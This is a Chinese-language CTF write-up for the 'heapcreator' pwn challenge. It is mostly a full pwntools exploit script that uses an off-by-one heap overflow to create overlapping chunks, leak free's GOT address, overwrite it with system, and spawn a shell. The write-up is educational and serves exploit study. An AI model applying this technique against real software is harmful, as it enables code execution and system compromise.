[off by one] hitcontraining_heapcreator
本题主要看懂,edit中的off by one, 知道off by one 还需要知道程序的大概结构体
从内存情况推测结构体
每次申请空间,会创建2个chunk,其中一个固定为下面结构体形式,另一个根据大小分配
struct test{
int size;
char *content;
}
exp
from pwn import *
p = process( './heapcreator' )
context. log_level = 'debug'
def alloc ( size, content) :
p. sendlineafter( 'Your choice :' , str ( 1 ) )
p. sendlineafter( 'Size of Heap : ' , str ( size) )
p. sendlineafter( 'Content of heap:' , content)
def edit ( index, content) :
p. sendlineafter( 'Your choice :' , str ( 2 ) )
p. sendlineafter( 'Index :' , str ( index) )
p. sendlineafter( 'Content of heap : ' , content)
def show ( index) :
p. sendlineafter( 'Your choice :' , str ( 3 ) )
p. sendlineafter( 'Index :' , str ( index) )
def dele ( index) :
p. sendlineafter( 'Your choice :' , str ( 4 ) )
p. sendlineafter( 'Index :' , str ( index) )
alloc( 0x18 , 'bbbb' )
alloc( 0x10 , 'aaaa' )
gdb. attach( p)
pause( )
elf = ELF( './heapcreator' )
libc = ELF( './libc.so.6' )
edit( 0 , '/bin/sh\x00' + 'b' * 0x10 + '\x41' )
pause( )
dele( 1 )
pause( )
alloc( 0x30 , p64( 0 ) * 4 + p64( 0x30 ) + p64( elf. got[ 'free' ] ) )
show( 1 )
free = u64( p. recvuntil( '\x7f' ) [ - 6 : ] . ljust( 8 , '\x00' ) )
log. success( 'free==>' + str ( hex ( free) ) )
libc_base = free - libc. sym[ 'free' ]
system = libc_base + libc. sym[ 'system' ]
log. success( 'system==>' + str ( hex ( system) ) )
edit( 1 , p64( system) )
dele( 0 )
p. interactive( )
step1 申请两个chunk(实际会有四个)
step2 通过off by one 修改chunk1 的 head为0x41,chunk0的content为’/bin/sh‘
step3 释放chunk1,此时会有两个fastbin,看清楚0x20的bin在下面的位置
step4 重新申请一个content大小为0x30的chunk,此时先前的0x20将会作为结构体chunk,包含内容指针,且指针的值可以通过content修改
step5 泄露free got地址,计算libc_base
step6 通过content指针修改free got的值为system
step7 释放chunk0,即可触发system(’/bin/sh’)